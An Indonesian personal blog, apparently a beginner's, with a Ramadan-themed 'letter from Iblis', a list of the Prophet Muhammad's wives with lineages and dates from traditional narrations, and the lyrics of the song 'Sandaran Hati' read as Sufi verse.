Duhai manusia, Di sepanjang Ramadhan ini, telah lemah seleruh urat sendiku, telah terbakar seluruh jasadku, merintih ku kesakitan, bila setiap kali ku lihat hamba-hambaNya yang penat berpuasa di siang hari dan menghabiskan waktu malam dengan bertarawih, berzikir dan merintih mengenang dosa-dosanya yang lepas, karena pintu taubat telah dibuka oleh ALLAH dengan seluas-luasnya...Namun, aku tetap gembira karena ada diantara kalian yang masih sudi menjadi temanku..melepaskan peluang rahmat ALLAH dengan mengucap perkataan yang sia-sia, mengumpat, tidak bertarawikh, malah mencipta persengketaan..aduhai tubuh badanku yang terbelenggu telah segar kembali...cukuplah NAFSU manusia sendiri menjadi penyambung tugasku di sepanjang bulan yang dirahmati ini...Di akhirat nanti, engkau dan aku dapat berjalan bersama-sama .... kita berpegang-tangan menuju Neraka Jahannam.

Sahabatmu Yang Tercinta,
Iblis Laknatullah

Istri-Istri Rosulullah


Beberapa X dalam forum ane ditanya tentang Istri Rosulullah Saw tapi tidak ada yang bisa, ane she gak tahu entah karena malu to emang bener-bener gak tau… hehehe tuz akhirnya ane nemuin artikel ini di t4 kerja, tuz ane posting aje biar bermanfaat. Kalau antum/anti ada yang lebih tau ane tunggu yua koreksinya… ^_^
Istri-Istri Rasulullah saw
1. Khadijah binti Khuwailid
Wanita pertama yang dinikahi Rasulullah SAW adalah Khadijah binti Khuwailid bin Asad bin Abdul Uzza bin Qushay bin Kilab. Saat itu Rasulullah saw berusia 25 tahun. Tatkala turun wahyu pertama kali, Khadijah menjadi wanita yang membenarkan dan mendukung Rasulullah saw. Ia wafat 3 tahun sebelum hijrah. Ada riwayat yang menyebutkan 4 tahun sebelum itu dan ada pula yang menyebutkan 5 tahun sebelumnya.
2. Saudah binti Zam’ah
Rasulullah saw juga menikahi Saudah binti Zam’ah bin Qois bin Abdu Syams bin Abdu Wud bin Nasr bin Malik bin Hisl bin Amir bin Luayyi. Pernikahan tersebut dilakukan Rasulullah saw di Mekah sebelum beliau hijrah ke Madinah. Sebelum dinikahi Rasulullah saw, Saudah adalah seorang istri yang dicerai suaminya, yaitu Sakran bin Amr, saudara Suhail bin Amr. Ketika Rasulullah saw telah menikahi Aisyah, Saudah
memberikan jatah hari gilirnya pada Aisyah.
3. Aisyah binti Abu Bakar as Siddiq
Rasulullah menikahi Aisyah binti Abu Bakar as Siddiq di Mekah 2 tahun sebelum hijrah. Ada riwayat yang mengatakan 3 tahun sebelum itu. Saat itu ia baru berusia 6 tahun. Ada yang menyebutkan 7 tahun.Tetapi yang benar adalah 6 tahun. Rasulullah saw menggaulinya baru pada usia 9 tahun. Pada waktu itu Rasulullah saw di Madinah baru 7 bulan. Ada riwayat yang menyebutkan baru 18 bulan. Ketika Rasulullah saw wafat, ia
berusia 18 tahun. Ia juga wafat di Madinah tahun 58 Hijiyah dan dimakamkan di Baqi’ atas wasiatnya. Julukannya adalah Ummu Abdillah.

4. Hafshah binti Umar bin Khatthab ra
Sebelum menjadi istri Rasulullah saw, Hafshah adalah istri Hunais bin Hudzafah, salah seorang sahabat yang gugur di Perang Badar. Sebuah riwayat menyebutkan bahwa Rasulullah saw pernah menceraikan Hafshah, namun datanglah Malaikat Jibril dan berkata:“Sesungguhnya Allah menyuruhmu (hai Muhammad) untuk rujuk kembali dengan Hafshah, karena ia rajin puasa, shalat malam dan kelak akan menjadi istrimu di surga“.
Uqbah bin Amir al-Juhani meriwayatkan: "Rasulullah saw menceraikan Hafshah binti Umar, lalu kabar itu pun sampai ke telinga Umar. Lalu Umar pun menabur kepalanya dengan tanah dan berkata dengan penuh kesedihan: “Allah sudah tidak peduli lagi pada Umar dan putrinya setelah peristiwa ini.“ Lalu turunlah Malaikat Jibril dan berkata: “Sesungguhnya Allah menyuruhmu (hai Muhammad) untuk rujuk kembali dengan Hafshah, karena Dia menyayangi Umar.“ Hafshah wafat tahun 27. Ada riwayat yang menyebutkan wafat tahun 28.
5. Ummu Habibah binti Abu Sofyan
Nama aslinya adalah Ramlah binti Shokhr bin Harb bin Umaiyyah bin Abdu Syams bin Abdu Manaf. Hijrah bersama suaminya, Ubaidullah bin Jahsy ke Habasyah. Suaminya berpindah agama menjadi Kristen, sementara ia tetap pada keislaman. Rasulullah saw menikahinya saat ia masih di Habasyah. Negus, raja Habasyah saat itu memberikan mas kawin atas nama Rasulullah saw senilai 400 dinar. Rasulullah saw mengutus Amr bin Umayyah ad Dhomari untuk mengurus pernikahan ini ke Habasyah. Bertindak sebagai wali nikah adalah Usman bin Affan. Ada riwayat yang menyebutkan Khalid bin Said bin As. Ummu Habibah wafat tahun 44 H.
6. Ummu Salamah
Nama aslinya adalah Hindun bin Abu Umayyah bin Mughirah bin Abdullah bin Umar bin Makhzum bin Yaqadzh bin Murrah bin Ka’b bin Luayyi bin Ghalib. Sebelum menjadi istri Rasulullah saw, Ummu Salamah adalah istri Abu Salamah Abdullah bin Abdul Asad bin Hilal bin Abdullah bin Umar bin Makhzum, salah seorang sahabat Rasulullah saw. Ummu Salamah wafat tahun 62 Hijriah dan dimakamkan di Baqi’, Madinah. Ia adalah istri Rasulullah saw yang paling akhir wafatnya. Tetapi ada yang menyebutkan bahwa yang paling akhir adalah Maimunah.

7. Zaenab binti Jahsy
Zaenab adalah puteri Jahsy bin Riab bin Ya’mur bin Shabirah bin Murrah bin Kabir bin Ghanm bin Dudan bin Asad bin Khuzaimah bin Mudrikah bin Ilyas bin Mudhar bin Nizar bin Muad bin Adnan, puteri bibi Rasulullah saw, Umamah bin Abdul Mutthalib. Sebelumnya ia adalah istri Zaid bin Harisah, mantan budak Rasulullah saw yang telah
menceraikannya. Kemudian Allah pun menikahkan Rasulullah saw dengannya langsung dari langit, tiada seorang pun yang mengakadkannya. Sebuah riwayat sahih menyebutkan bahwa beliau berkata pada istri-istri Nabi yang lain: “Kalian dinikahkan oleh ayah-ayah
kalian, sementara aku dinikahkan langsung oleh Allah dari atas langit ketujuh.“ Ia wafat di Madinah pada tahun 20 H dan dimakamkan di Baqi’
8. Zainab binti Khuzaimah
Zaenab putri Khuzaimah bin al-Harits bin Abdullah bin Amr bin Abdu Manaf bin Hilal bin Amir bin Sha’sha’a bin Muawiyah. Dijuluki “ibu orangorang miskin“ karena kedermawanannya terhadap orang-orang miskin. Sebelumnya menikah dengan Rasulullah saw ia adalah istri Abdullah bin Jahsy. Ada riwayat yang mengatakan ia istri Abdu Thufail bin al-Harits, tetapi pendapat pertama adalah yang sahih. Ia dinikahi Rasulullah saw pada tahun ke 3 H dan hidup bersamanya selama dua atau tiga bulan.
9. Juwairiyah binti al-Harits
Juwairiyah putri al-Harits bin Abi Dhirar bin Habib bin A’idz bin Malik bin al-Musthalik al-Khuzaiyah. Ia sebelumnya adalah tawanan perang pada perang bani Musthalik dan menjadi milik Tsabit bin Qais bin Syimas. Tsabit lalu menawarkan pembebasannya dengan syarat ia dapat membayar tebusannya. Kemudian Rasulullah saw membayar tebusannya dan menikahinya di tahun 6 H. Ia wafat pada bulan Rabiul Awal tahun 56 H.
10. Shafiyyah binti Huyay
Shafiyyah binti Huyyay bin Akhtab bin Abi Yahyabin Kaab bin al- Khazraj an-Nadhriyyah keturunan dari Nabi Harun bin Imran –saudara nabi Musa- alaihiwassalam. Menjadi tawanan pada perang Khaibar tahun 7 H. Sebelummya ia adalah istri Kinanah bin Abi al-Huqaiq yang dibunuh atas perintah Rasulullah saw. Nabi saw membebaskan Shafiyyah dan menikahinya serta menjadikan pembebasannya sebagai mas kawinnya.Wafat pada tahun 30 H atau menurut riwayat lain tahun 50 H.
11. Maimunah binti al-Harits
Maimunah binti al-Harits bin Hazn bin Bujair bin al-Harm bin Ruwaibah bin Abdullah bin Hilal bin Amir bin Sha’sha’a bin Muawiyah bibi dari Khalid bin Walid dab Abdullah bin Abbas. Rasulullah saw menikahinya di tempat yang bernama Sarif suatu tempat mata air yang berada sembilan mil dari kota Mekah. Ia adalah wanita terakhir yang dinikahi oleh Rasulullah saw. Wafat di Sarif pada tahun 63 H.

Senin, 21 Juni 2010

Sandaran Hati


Sandaran Hati

Yakinkah ku berdiri, di hampa tanpa sepi

Bolehkah aku mendengar-Mu

Terkubur dalam emosi, tanpa bisa sembunyi

Aku dan nafasku merindukan-Mu

Terpurukku di sini, teraniaya sepi

Dan kutahu pasti Kau menemani

Dalam hidupku, kesendirianku

Teringat ku teringat, pada janji-Mu ku terikat

Hanya sekejap ku berdiri, kulakukan sepenuh hati

Tak peduli ku tak peduli, siang dan malam yang berganti

Sedihku ini tiada arti, jika Kau-lah sandaran hati

Kau-lah sandaran hati

Inikah yang Kau mau, benarkah ini janji-Mu

Hanya Engkau yang ku tuju

Pegang erat tanganku, bimbing langkah kakiku

Aku hilang arah tanpa hadir-Mu, dalam gelapnya malam hariku


heeemmm baru nyadar ane lagunya letoo dengan sedikit perubahan bisa menjadi kata-kata sufistik.. hehehe

sebenernya ane tau pas baca sepercik hikmah2 yang ane download dari inhandlearning.com..... tapi untuk jelasnya lebih baek coba tanya mas Noe si penyanyinya adja dech... to sama rumput yang bergoyang....wkwkwkwk

Assalamu'alaikum

wawh mainan blog pertama kali binun ane.... hehehehe